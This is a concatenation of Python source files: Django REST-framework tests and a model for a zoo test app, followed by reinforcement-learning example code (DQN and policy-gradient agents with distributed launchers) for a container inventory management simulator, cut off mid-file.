current_file.read()) def test_upload_triggers_file_field_validation_errors(self): emmen = Zoo(name='Nowhere') emmen.save() with temp_imagefile(100, 200, 'jpeg') as uploaded_file: response = self.client.post('/zoo/%s/floor_plan/' % emmen.id, data={'file': uploaded_file}) self.assertEqual(response.status_code, 400) returned_data = jsonloads(response.content) self.assertEqual(len(returned_data['errors']), 1) self.assertEqual(len(returned_data['errors']['zoo']), 1) self.assertSetEqual(set(['floor_plan', 'name']), set(returned_data['errors']['zoo'][str(emmen.id)].keys())) self.assertEqual('no plan', returned_data['errors']['zoo'][str(emmen.id)]['floor_plan'][0]['code']) self.assertEqual('nowhere', returned_data['errors']['zoo'][str(emmen.id)]['name'][0]['code']) emmen.refresh_from_db() self.assertFalse(emmen.floor_plan) def test_upload_size_resized_png(self): emmen = Zoo(name='Wildlands Adventure Zoo Emmen') emmen.save() with temp_imagefile(600, 600, 'png') as uploaded_file: response = self.client.post('/zoo/%s/floor_plan/' % emmen.id, data={'file': uploaded_file}) self.assertEqual(response.status_code, 200) emmen.refresh_from_db() content_type = mimetypes.guess_type(emmen.floor_plan.path)[0] self.assertEqual(content_type, 'image/jpeg') self.assertEqual(emmen.floor_plan.width, 500) self.assertEqual(emmen.floor_plan.height, 500) def test_upload_size_resized_jpeg(self): emmen = Zoo(name='Wildlands Adventure Zoo Emmen') emmen.save() with temp_imagefile(600, 600, 'jpeg') as uploaded_file: response = self.client.post('/zoo/%s/floor_plan/' % emmen.id, data={'file': uploaded_file}) self.assertEqual(response.status_code, 200) emmen.refresh_from_db() content_type = mimetypes.guess_type(emmen.floor_plan.path)[0] self.assertEqual(content_type, 'image/jpeg') self.assertEqual(emmen.floor_plan.width, 500) self.assertEqual(emmen.floor_plan.height, 500) --- FILE SEPARATOR --- import os import unittest from django.test import TestCase, Client from binder.json import jsonloads from django.contrib.auth.models import User if os.environ.get('BINDER_TEST_MYSQL', '0') == '0': from .testapp.models import FeedingSchedule, Animal, Zoo # TODO: Currently these only really test filtering. Move to test/filters? @unittest.skipIf( os.environ.get('BINDER_TEST_MYSQL', '0') != '0', "Only available with PostgreSQL" ) class PostgresFieldsTest(TestCase): def setUp(self): super().setUp() u = User(username='testuser', is_active=True, is_superuser=True) u.set_password('test') u.save() self.client = Client() r = self.client.login(username='testuser', password='test') self.assertTrue(r) gaia = Zoo(name='GaiaZOO') gaia.save() coyote = Animal(name='Wile E. Coyote', zoo=gaia) coyote.save() roadrunner = Animal(name='Roadrunner', zoo=gaia) roadrunner.save() self.coyote_feeding = FeedingSchedule(animal=coyote, foods=['meat'], schedule_details={'10:30': ['meat'], '16:00': ['meat']}) self.coyote_feeding.save() self.rr_feeding = FeedingSchedule(animal=roadrunner, foods=['corn', 'bugs'], schedule_details={'10:30': ['corn'], '16:00': ['corn', 'bugs']}) self.rr_feeding.save() def test_get_collection_arrayfield_exact_filtering(self): response = self.client.get('/feeding_schedule/', data={'.foods': 'corn,bugs'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.foods': 'corn'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.foods': 'corn,bugs,meat'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.foods': 'meat'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.coyote_feeding.id, result['data'][0]['id']) def test_get_collection_jsonfield_exact_filtering(self): response = self.client.get('/feeding_schedule/', data={'.schedule_details': '{"10:30": ["meat"], "16:00": ["meat"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.coyote_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.schedule_details': '{"10:30": ["meat"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details': '{"10:30": ["corn"], "16:00": ["corn", "bugs"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.schedule_details': '{}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) def test_get_collection_arrayfield_overlap_filtering(self): response = self.client.get('/feeding_schedule/', data={'.foods:overlap': 'corn'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.foods:overlap': 'corn,meat'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.foods:overlap': 'corn,bricks'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.foods:overlap': ''}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) def test_get_collection_arrayfield_contains_filtering(self): response = self.client.get('/feeding_schedule/', data={'.foods:contains': 'corn,bugs'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.foods:contains': 'corn,meat'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.foods:contains': 'corn'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.foods:contains': ''}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) def test_get_collection_jsonfield_contains_filtering(self): response = self.client.get('/feeding_schedule/', data={'.schedule_details:contains': '{"10:30": ["meat"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.coyote_feeding.id, result['data'][0]['id']) # Embedded commas should not produce issues response = self.client.get('/feeding_schedule/', data={'.schedule_details:contains': '{"10:30": ["corn"], "16:00": ["corn", "bugs"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.schedule_details:contains': '{"10:30": ["meat"], "16:00": ["corn", "bugs"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:contains': '{}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) def test_get_collection_jsonfield_invalid_json_filtering_fails(self): response = self.client.get('/feeding_schedule/', data={'.schedule_details:contains': '{'}) self.assertEqual(response.status_code, 418) result = jsonloads(response.content) self.assertEqual('RequestError', result['code']) response = self.client.get('/feeding_schedule/', data={'.schedule_details:contained_by': '{'}) self.assertEqual(response.status_code, 418) result = jsonloads(response.content) self.assertEqual('RequestError', result['code']) def test_get_collection_arrayfield_contained_by_filtering(self): response = self.client.get('/feeding_schedule/', data={'.foods:contained_by': 'corn,bugs'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.foods:contained_by': 'corn,meat'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.coyote_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.foods:contained_by': 'corn'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.foods:contained_by': ''}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.foods:contained_by': 'corn,meat,bugs,whatever'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) def test_get_collection_jsonfield_contained_by_filtering(self): response = self.client.get('/feeding_schedule/', data={'.schedule_details:contained_by': '{"10:30": ["meat"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) # Embedded commas should not produce issues response = self.client.get('/feeding_schedule/', data={'.schedule_details:contained_by': '{"10:30": ["corn"], "16:00": ["corn", "bugs"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) response = self.client.get('/feeding_schedule/', data={'.schedule_details:contained_by': '{"10:30": ["meat"], "16:00": ["corn", "bugs"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:contained_by': '{}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:contained_by': '{"10:29": ["meat"], "10:30": ["corn"], "16:00": ["corn", "bugs"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) # This is a bit odd; first array is contained by the # supplied array; in other words, we match recursively. response = self.client.get('/feeding_schedule/', data={'.schedule_details:contained_by': '{"10:30": ["corn", "meat"], "16:00": ["corn", "bugs"]}'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(1, len(result['data'])) self.assertEqual(self.rr_feeding.id, result['data'][0]['id']) def test_get_collection_jsonfield_has_key(self): response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_key': '10:30'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) # Embedded commas should not be parsed (see has_[any_]keys instead) response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_key': '10:30,16:00'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_key': '15:00'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_key': ''}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) def test_get_collection_jsonfield_has_keys(self): response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_keys': '10:30'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) # Embedded commas should be parsed response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_keys': '10:30,16:00'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_keys': '15:00'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_keys': '10:30,15:00,16:00'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_keys': ''}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) def test_get_collection_jsonfield_has_any_keys(self): response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_any_keys': '10:30'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) # Embedded commas should be parsed response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_any_keys': '10:30,16:00'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_any_keys': '15:00'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_any_keys': '10:30,15:00,16:00'}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(2, len(result['data'])) response = self.client.get('/feeding_schedule/', data={'.schedule_details:has_any_keys': ''}) self.assertEqual(response.status_code, 200) result = jsonloads(response.content) self.assertEqual(0, len(result['data'])) --- FILE SEPARATOR --- import os import datetime from django.core.exceptions import ValidationError from django.db import models from django.db.models.signals import post_delete from binder.models import BinderModel def delete_files(sender, instance=None, **kwargs): for field in sender._meta.fields: if isinstance(field, models.fields.files.FileField): try: file = getattr(instance, field.name).path os.unlink(file) except (FileNotFoundError, ValueError): pass # From the api docs: a zoo with a name. It also has a founding date, # which is nullable (representing "unknown"). class Zoo(BinderModel): name = models.TextField() founding_date = models.DateField(null=True, blank=True) floor_plan = models.ImageField(upload_to='floor-plans', null=True, blank=True) contacts = models.ManyToManyField('ContactPerson', blank=True, related_name='zoos') most_popular_animals = models.ManyToManyField('Animal', blank=True, related_name='+') opening_time = models.TimeField(default=datetime.time(9, 0, 0)) def __str__(self): return 'zoo %d: %s' % (self.pk, self.name) @property def animal_count(self): return self.animals.count() def clean(self): errors = {} if self.floor_plan and self.name == 'Nowhere': errors['floor_plan'] = ValidationError('Nowhere may not have a floor plan!', code='no plan') errors['name'] = ValidationError('Nowhere may not have a floor plan!', code='nowhere') if errors: raise ValidationError(errors) post_delete.connect(delete_files, sender=Zoo)
[ "/binder/models.py", "/tests/test_file_uploads.py", "/tests/test_postgres_fields.py", "/tests/testapp/models/zoo.py" ]
00mjk/maro
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .action_shaper import CIMActionShaper from .agent_manager import DQNAgentManager, create_dqn_agents from .experience_shaper import TruncatedExperienceShaper from .state_shaper import CIMStateShaper __all__ = [ "CIMActionShaper", "DQNAgentManager", "create_dqn_agents", "TruncatedExperienceShaper", "CIMStateShaper" ] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import pickle import numpy as np from maro.rl import AbsAgent, ColumnBasedStore class DQNAgent(AbsAgent): """Implementation of AbsAgent for the DQN algorithm. Args: name (str): Agent's name. algorithm (AbsAlgorithm): A concrete algorithm instance that inherits from AbstractAlgorithm. experience_pool (AbsStore): It is used to store experiences processed by the experience shaper, which will be used by some value-based algorithms, such as DQN. min_experiences_to_train: minimum number of experiences required for training. num_batches: number of batches to train the DQN model on per call to ``train``. batch_size: mini-batch size. """ def __init__( self, name: str, algorithm, experience_pool: ColumnBasedStore, min_experiences_to_train, num_batches, batch_size ): super().__init__(name, algorithm, experience_pool=experience_pool) self._min_experiences_to_train = min_experiences_to_train self._num_batches = num_batches self._batch_size = batch_size def train(self): """Implementation of the training loop for DQN. Experiences are sampled using their TD errors as weights. After training, the new TD errors are updated in the experience pool. """ if len(self._experience_pool) < self._min_experiences_to_train: return for _ in range(self._num_batches): indexes, sample = self._experience_pool.sample_by_key("loss", self._batch_size) state = np.asarray(sample["state"]) action = np.asarray(sample["action"]) reward = np.asarray(sample["reward"]) next_state = np.asarray(sample["next_state"]) loss = self._algorithm.train(state, action, reward, next_state) self._experience_pool.update(indexes, {"loss": loss}) def dump_experience_pool(self, dir_path: str): """Dump the experience pool to disk.""" os.makedirs(dir_path, exist_ok=True) with open(os.path.join(dir_path, self._name), "wb") as fp: pickle.dump(self._experience_pool, fp) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import torch.nn as nn from torch.optim import RMSprop from maro.rl import ( ColumnBasedStore, DQN, DQNConfig, FullyConnectedBlock, LearningModel, NNStack, OptimizerOptions, SimpleAgentManager ) from maro.utils import set_seeds from .agent import DQNAgent def create_dqn_agents(agent_id_list, config): num_actions = config.algorithm.num_actions set_seeds(config.seed) agent_dict = {} for agent_id in agent_id_list: q_net = NNStack( "q_value", FullyConnectedBlock( input_dim=config.algorithm.input_dim, output_dim=num_actions, activation=nn.LeakyReLU, is_head=True, **config.algorithm.model ) ) learning_model = LearningModel( q_net, optimizer_options=OptimizerOptions(cls=RMSprop, params=config.algorithm.optimizer) ) algorithm = DQN( learning_model, DQNConfig(**config.algorithm.hyper_params, loss_cls=nn.SmoothL1Loss) ) agent_dict[agent_id] = DQNAgent( agent_id, algorithm, ColumnBasedStore(**config.experience_pool), **config.training_loop_parameters ) return agent_dict class DQNAgentManager(SimpleAgentManager): def train(self, experiences_by_agent, performance=None): self._assert_train_mode() # store experiences for each agent for agent_id, exp in experiences_by_agent.items(): exp.update({"loss": [1e8] * len(list(exp.values())[0])}) self.agent_dict[agent_id].store_experiences(exp) for agent in self.agent_dict.values(): agent.train() --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. """ This file is used to load the configuration and convert it into a dotted dictionary. """ import io import os import yaml CONFIG_PATH = os.path.join(os.path.split(os.path.realpath(__file__))[0], "../config.yml") with io.open(CONFIG_PATH, "r") as in_file: config = yaml.safe_load(in_file) DISTRIBUTED_CONFIG_PATH = os.path.join(os.path.split(os.path.realpath(__file__))[0], "../distributed_config.yml") with io.open(DISTRIBUTED_CONFIG_PATH, "r") as in_file: distributed_config = yaml.safe_load(in_file) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import numpy as np from maro.rl import ActorWorker, AgentManagerMode, SimpleActor from maro.simulator import Env from maro.utils import convert_dottable from components import CIMActionShaper, CIMStateShaper, DQNAgentManager, TruncatedExperienceShaper, create_dqn_agents def launch(config, distributed_config): config = convert_dottable(config) distributed_config = convert_dottable(distributed_config) env = Env(config.env.scenario, config.env.topology, durations=config.env.durations) agent_id_list = [str(agent_id) for agent_id in env.agent_idx_list] state_shaper = CIMStateShaper(**config.env.state_shaping) action_shaper = CIMActionShaper(action_space=list(np.linspace(-1.0, 1.0, config.agents.algorithm.num_actions))) experience_shaper = TruncatedExperienceShaper(**config.env.experience_shaping) config["agents"]["algorithm"]["input_dim"] = state_shaper.dim agent_manager = DQNAgentManager( name="cim_actor", mode=AgentManagerMode.INFERENCE, agent_dict=create_dqn_agents(agent_id_list, config.agents), state_shaper=state_shaper, action_shaper=action_shaper, experience_shaper=experience_shaper ) proxy_params = { "group_name": os.environ["GROUP"] if "GROUP" in os.environ else distributed_config.group, "expected_peers": {"learner": 1}, "redis_address": (distributed_config.redis.hostname, distributed_config.redis.port), "max_retries": 15 } actor_worker = ActorWorker( local_actor=SimpleActor(env=env, agent_manager=agent_manager), proxy_params=proxy_params ) actor_worker.launch() if __name__ == "__main__": from components.config import config, distributed_config launch(config=config, distributed_config=distributed_config) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os from maro.rl import ( ActorProxy, AgentManagerMode, SimpleLearner, TwoPhaseLinearParameterScheduler, concat_experiences_by_agent ) from maro.simulator import Env from maro.utils import Logger, convert_dottable from components import CIMStateShaper, DQNAgentManager, create_dqn_agents def launch(config, distributed_config): config = convert_dottable(config) distributed_config = convert_dottable(distributed_config) env = Env(config.env.scenario, config.env.topology, durations=config.env.durations) agent_id_list = [str(agent_id) for agent_id in env.agent_idx_list] config["agents"]["algorithm"]["input_dim"] = CIMStateShaper(**config.env.state_shaping).dim agent_manager = DQNAgentManager( name="cim_learner", mode=AgentManagerMode.TRAIN, agent_dict=create_dqn_agents(agent_id_list, config.agents) ) proxy_params = { "group_name": os.environ["GROUP"] if "GROUP" in os.environ else distributed_config.group, "expected_peers": { "actor": int(os.environ["NUM_ACTORS"] if "NUM_ACTORS" in os.environ else distributed_config.num_actors) }, "redis_address": (distributed_config.redis.hostname, distributed_config.redis.port), "max_retries": 15 } learner = SimpleLearner( agent_manager=agent_manager, actor=ActorProxy(proxy_params=proxy_params, experience_collecting_func=concat_experiences_by_agent), scheduler=TwoPhaseLinearParameterScheduler(config.main_loop.max_episode, **config.main_loop.exploration), logger=Logger("cim_learner", auto_timestamp=False) ) learner.learn() learner.test() learner.dump_models(os.path.join(os.getcwd(), "models")) learner.exit() if __name__ == "__main__": from components.config import config, distributed_config launch(config=config, distributed_config=distributed_config) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import numpy as np from maro.rl import AgentManagerMode, SimpleActor, SimpleLearner, TwoPhaseLinearParameterScheduler from maro.simulator import Env from maro.utils import LogFormat, Logger, convert_dottable from components import CIMActionShaper, CIMStateShaper, DQNAgentManager, TruncatedExperienceShaper, create_dqn_agents def launch(config): config = convert_dottable(config) # Step 1: Initialize a CIM environment for using a toy dataset. env = Env(config.env.scenario, config.env.topology, durations=config.env.durations) agent_id_list = [str(agent_id) for agent_id in env.agent_idx_list] action_space = list(np.linspace(-1.0, 1.0, config.agents.algorithm.num_actions)) # Step 2: Create state, action and experience shapers. We also need to create an explorer here due to the # greedy nature of the DQN algorithm. state_shaper = CIMStateShaper(**config.env.state_shaping) action_shaper = CIMActionShaper(action_space=action_space) experience_shaper = TruncatedExperienceShaper(**config.env.experience_shaping) # Step 3: Create agents and an agent manager. config["agents"]["algorithm"]["input_dim"] = state_shaper.dim agent_manager = DQNAgentManager( name="cim_learner", mode=AgentManagerMode.TRAIN_INFERENCE, agent_dict=create_dqn_agents(agent_id_list, config.agents), state_shaper=state_shaper, action_shaper=action_shaper, experience_shaper=experience_shaper ) # Step 4: Create an actor and a learner to start the training process. scheduler = TwoPhaseLinearParameterScheduler(config.main_loop.max_episode, **config.main_loop.exploration) actor = SimpleActor(env, agent_manager) learner = SimpleLearner( agent_manager, actor, scheduler, logger=Logger("cim_learner", format_=LogFormat.simple, auto_timestamp=False) ) learner.learn() learner.test() learner.dump_models(os.path.join(os.getcwd(), "models")) if __name__ == "__main__": from components.config import config launch(config) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from .action_shaper import CIMActionShaper from .agent_manager import POAgentManager, create_po_agents from .experience_shaper import TruncatedExperienceShaper from .state_shaper import CIMStateShaper __all__ = [ "CIMActionShaper", "POAgentManager", "create_po_agents", "TruncatedExperienceShaper", "CIMStateShaper" ] --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import numpy as np import torch.nn as nn from torch.optim import Adam, RMSprop from maro.rl import ( AbsAgent, ActorCritic, ActorCriticConfig, FullyConnectedBlock, LearningModel, NNStack, OptimizerOptions, PolicyGradient, PolicyOptimizationConfig, SimpleAgentManager ) from maro.utils import set_seeds class POAgent(AbsAgent): def train(self, states: np.ndarray, actions: np.ndarray, log_action_prob: np.ndarray, rewards: np.ndarray): self._algorithm.train(states, actions, log_action_prob, rewards) def create_po_agents(agent_id_list, config): input_dim, num_actions = config.input_dim, config.num_actions set_seeds(config.seed) agent_dict = {} for agent_id in agent_id_list: actor_net = NNStack( "actor", FullyConnectedBlock( input_dim=input_dim, output_dim=num_actions, activation=nn.Tanh, is_head=True, **config.actor_model ) ) if config.type == "actor_critic": critic_net = NNStack( "critic", FullyConnectedBlock( input_dim=config.input_dim, output_dim=1, activation=nn.LeakyReLU, is_head=True, **config.critic_model ) ) hyper_params = config.actor_critic_hyper_parameters hyper_params.update({"reward_discount": config.reward_discount}) learning_model = LearningModel( actor_net, critic_net, optimizer_options={ "actor": OptimizerOptions(cls=Adam, params=config.actor_optimizer), "critic": OptimizerOptions(cls=RMSprop, params=config.critic_optimizer) } ) algorithm = ActorCritic( learning_model, ActorCriticConfig(critic_loss_func=nn.SmoothL1Loss(), **hyper_params) ) else: learning_model = LearningModel( actor_net, optimizer_options=OptimizerOptions(cls=Adam, params=config.actor_optimizer) ) algorithm = PolicyGradient(learning_model, PolicyOptimizationConfig(config.reward_discount)) agent_dict[agent_id] = POAgent(name=agent_id, algorithm=algorithm) return agent_dict class POAgentManager(SimpleAgentManager): def train(self, experiences_by_agent: dict): for agent_id, exp in experiences_by_agent.items(): if not isinstance(exp, list): exp = [exp] for trajectory in exp: self.agent_dict[agent_id].train( trajectory["state"], trajectory["action"], trajectory["log_action_probability"], trajectory["reward"] ) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from collections import defaultdict import numpy as np from maro.rl import ExperienceShaper class TruncatedExperienceShaper(ExperienceShaper): def __init__(self, *, time_window: int, time_decay_factor: float, fulfillment_factor: float, shortage_factor: float): super().__init__(reward_func=None) self._time_window = time_window self._time_decay_factor = time_decay_factor self._fulfillment_factor = fulfillment_factor self._shortage_factor = shortage_factor def __call__(self, trajectory, snapshot_list): agent_ids = np.asarray(trajectory.get_by_key("agent_id")) states = np.asarray(trajectory.get_by_key("state")) actions = np.asarray(trajectory.get_by_key("action")) log_action_probabilities = np.asarray(trajectory.get_by_key("log_action_probability")) rewards = np.fromiter( map(self._compute_reward, trajectory.get_by_key("event"), [snapshot_list] * len(trajectory)), dtype=np.float32 ) return {agent_id: { "state": states[agent_ids == agent_id], "action": actions[agent_ids == agent_id], "log_action_probability": log_action_probabilities[agent_ids == agent_id], "reward": rewards[agent_ids == agent_id], } for agent_id in set(agent_ids)} def _compute_reward(self, decision_event, snapshot_list): start_tick = decision_event.tick + 1 end_tick = decision_event.tick + self._time_window ticks = list(range(start_tick, end_tick)) # calculate tc reward future_fulfillment = snapshot_list["ports"][ticks::"fulfillment"] future_shortage = snapshot_list["ports"][ticks::"shortage"] decay_list = [self._time_decay_factor ** i for i in range(end_tick - start_tick) for _ in range(future_fulfillment.shape[0]//(end_tick-start_tick))] tot_fulfillment = np.dot(future_fulfillment, decay_list) tot_shortage = np.dot(future_shortage, decay_list) return np.float(self._fulfillment_factor * tot_fulfillment - self._shortage_factor * tot_shortage) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import numpy as np from maro.simulator import Env from maro.rl import AgentManagerMode, SimpleActor, ActorWorker from maro.utils import convert_dottable from components import CIMActionShaper, CIMStateShaper, POAgentManager, TruncatedExperienceShaper, create_po_agents def launch(config): config = convert_dottable(config) env = Env(config.env.scenario, config.env.topology, durations=config.env.durations) agent_id_list = [str(agent_id) for agent_id in env.agent_idx_list] state_shaper = CIMStateShaper(**config.env.state_shaping) action_shaper = CIMActionShaper(action_space=list(np.linspace(-1.0, 1.0, config.agents.num_actions))) experience_shaper = TruncatedExperienceShaper(**config.env.experience_shaping) config["agents"]["input_dim"] = state_shaper.dim agent_manager = POAgentManager( name="cim_actor", mode=AgentManagerMode.INFERENCE, agent_dict=create_po_agents(agent_id_list, config.agents), state_shaper=state_shaper, action_shaper=action_shaper, experience_shaper=experience_shaper, ) proxy_params = { "group_name": os.environ["GROUP"], "expected_peers": {"learner": 1}, "redis_address": ("localhost", 6379) } actor_worker = ActorWorker( local_actor=SimpleActor(env=env, agent_manager=agent_manager), proxy_params=proxy_params ) actor_worker.launch() if __name__ == "__main__": from components.config import config launch(config) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os from maro.rl import ActorProxy, AgentManagerMode, Scheduler, SimpleLearner, merge_experiences_with_trajectory_boundaries from maro.simulator import Env from maro.utils import Logger, convert_dottable from components import CIMStateShaper, POAgentManager, create_po_agents def launch(config): config = convert_dottable(config) env = Env(config.env.scenario, config.env.topology, durations=config.env.durations) agent_id_list = [str(agent_id) for agent_id in env.agent_idx_list] config["agents"]["input_dim"] = CIMStateShaper(**config.env.state_shaping).dim agent_manager = POAgentManager( name="cim_learner", mode=AgentManagerMode.TRAIN, agent_dict=create_po_agents(agent_id_list, config.agents) ) proxy_params = { "group_name": os.environ["GROUP"], "expected_peers": {"actor": int(os.environ["NUM_ACTORS"])}, "redis_address": ("localhost", 6379) } learner = SimpleLearner( agent_manager=agent_manager, actor=ActorProxy( proxy_params=proxy_params, experience_collecting_func=merge_experiences_with_trajectory_boundaries ), scheduler=Scheduler(config.main_loop.max_episode), logger=Logger("cim_learner", auto_timestamp=False) ) learner.learn() learner.test() learner.dump_models(os.path.join(os.getcwd(), "models")) learner.exit() if __name__ == "__main__": from components.config import config launch(config) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. """ This script is used to debug distributed algorithm in single host multi-process mode. """ import argparse import os if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("group_name", help="group name") parser.add_argument("num_actors", type=int, help="number of actors") args = parser.parse_args() learner_path = f"{os.path.split(os.path.realpath(__file__))[0]}/dist_learner.py &" actor_path = f"{os.path.split(os.path.realpath(__file__))[0]}/dist_actor.py &" # Launch the learner process os.system(f"GROUP={args.group_name} NUM_ACTORS={args.num_actors} python " + learner_path) # Launch the actor processes for _ in range(args.num_actors): os.system(f"GROUP={args.group_name} python " + actor_path) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os from statistics import mean import numpy as np from maro.simulator import Env from maro.rl import AgentManagerMode, Scheduler, SimpleActor, SimpleLearner from maro.utils import LogFormat, Logger, convert_dottable from components import CIMActionShaper, CIMStateShaper, POAgentManager, TruncatedExperienceShaper, create_po_agents class EarlyStoppingChecker: """Callable class that checks the performance history to determine early stopping. Args: warmup_ep (int): Episode from which early stopping checking is initiated. last_k (int): Number of latest performance records to check for early 